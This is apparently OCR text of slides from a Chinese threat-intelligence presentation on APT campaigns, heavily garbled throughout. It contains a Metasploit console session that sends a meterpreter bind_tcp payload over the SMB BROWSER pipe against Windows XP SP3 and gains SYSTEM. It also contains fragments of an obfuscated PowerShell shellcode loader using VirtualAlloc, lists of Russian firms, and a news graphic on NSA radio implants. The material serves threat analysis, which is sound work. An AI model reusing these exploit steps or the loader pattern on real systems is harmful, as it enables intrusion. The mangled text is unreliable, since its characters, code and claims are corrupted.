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PAYLOAD => windows/meterpreter/bind_tcp

msi exploit( ) > set SMBPIPE BROWSER
SMBPIPE => BROWSER

ms{ exploit( ) > set TARGET 0

TARGET => 0

ms! exploiu( ) > exploit

1*) Exploit running as background fob.

[*] Started bind handler

[*] Automatically detecting the target...

*] Fingerprint: Windows XP - Service Pack 3 - lang:English
Selected Target: Windows XP SP3 English (AlwaysOn RX)

SEINEE’ SN e

192.168.110.132
NT AUTHORITV\SYSTEM @ JIAZHEN-TSS.

2AQE

'\-.\\,‘\\.\"\

\ il -“.-M‘

iR : R

N p
inies s s ks
ORI o C&CHRSEs1: BT
A 7 ke S
- ﬂ'-/, 3 :‘ .-. .\A
XN SO P
IRETT ) ALs F )

$iqSy6La.DefineN

Setimplementatio

4. $§i932

‘ return $1qSy6La.C
)

‘ [Byte[]]SumdAMSXBH

$ro8dS0FQZ0 = [System

kernel32.dll VirtualAllo a9Shellcode.

[IntPtr)::Zero, SumdAM

[System.Runtime.Intero

$MLKBWmZ3 = [System
kernel32.d1l VirtualAllo
([IntPtr]))).Invoke([IntP
[System.Runtime.Intero

(Bt >t

BTN HEAPTIC T o UFE AT 2015.05.27

$lqSy6La.DefineConstructor('RTSpecialName, HideBySig, Public’, [System.Reflection.
CallingConventions]::Standard, Se,UI,)l)HﬂK) S«lln\pl;—n\en(n(lunF|'q‘-( Runtime, M;n'ch )

.M.'I"l'r

tiztiErundli32.exe , AR 3AEEE.

‘MZ* FFsk , BFFEAPESZH | T

20




£ REWEERMERI

ANTIY

\ 20155 %  2015.12

3 APT-TOCS II BxM
0 B &) APT

2013.5

SE v

RUAEN ZERI KL



[ERAMEANETERS

o LA TRV E. MR REE
e CamberdadattX], AT iEE B F 2L 69K E)|

rk KL

e L5 EITIHMAFL [z

cEXRIEE T



B RFRNEAD

EEHFELE[ BFPaloAlto
Networks 7 X Infy89 47, ANENEBNTAE TR
AR PR T ELRBIC2C BRI BINENH

IR35288, IRRSRIE

MBI EDRER | BT RSIRASRIR, . B REEhEntt,
k=t JL T T




A

BRICKTOP (2009)

Tascom RusComNet
Kaspersky
Rosocboron
nstitute of Information €port Moscow
& Telecommunication
Analytical Technology Corporation
(11AT) Faretech (ComCor)
Comstar Komet

G H:

{An Easy Win:

£  (E83%-CamberDADAIHEIRRSEERS

LR .

Rosoboron export- % B E P O A

Institute of Information & Analytical Technology- 1”' =, 'ﬁ’)’j\ﬁ‘ﬁjﬂﬁﬁ FR.

Tascom. H

MOSCOW Telecommunication Corporation. %ﬁﬁ?ﬂ EE,TL O]

Komet- NP

Comstar- B HHEEER-

RusComNet- BE B EEER.

Famatech- K FaaE], FEHF T oo Radmin &
széir‘ﬂﬁﬁﬂ?@\ﬁ:

Using SIGHT to Learn about New Viruses) i & it 55 SC#4

TERI%E




SEESE S 2 e |

How the N.S.A. Uses Radio Frequencies to Penetrate Computers

The N.S_A. and the Pentagon’s Cyber Command have implanted nearly 100,000 “computer network exploits” around the world, but the
hardest problem is getting inside machines isolated from outside communications.

Transmission distance of up to eight miles

Y
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TARGET R ool ©
COMPUTER ‘ :

DATA TRANSMITTED

Data and malware are transmitted
over a covert radio frequency

MALWARE .

CASE
TRANSCEIVER N.S.A. FIELD
PLANTED INSIDE STATION
USB CABLE
1. Tiny transceivers are built 2. The transceivers 3. The field station 4. |t can also transmit
into USB plugs and inserted communicate with a communicates back malware, including the
into target computers. Small briefcase- size N.S.A. field to the N.S.A.'s kind used in attacks
circuit boards may be placed station, or hidden relay Remote Operations against Iran’'s nuclear
in the computers station, up to eight miles away. Center. facilities.

themselves.
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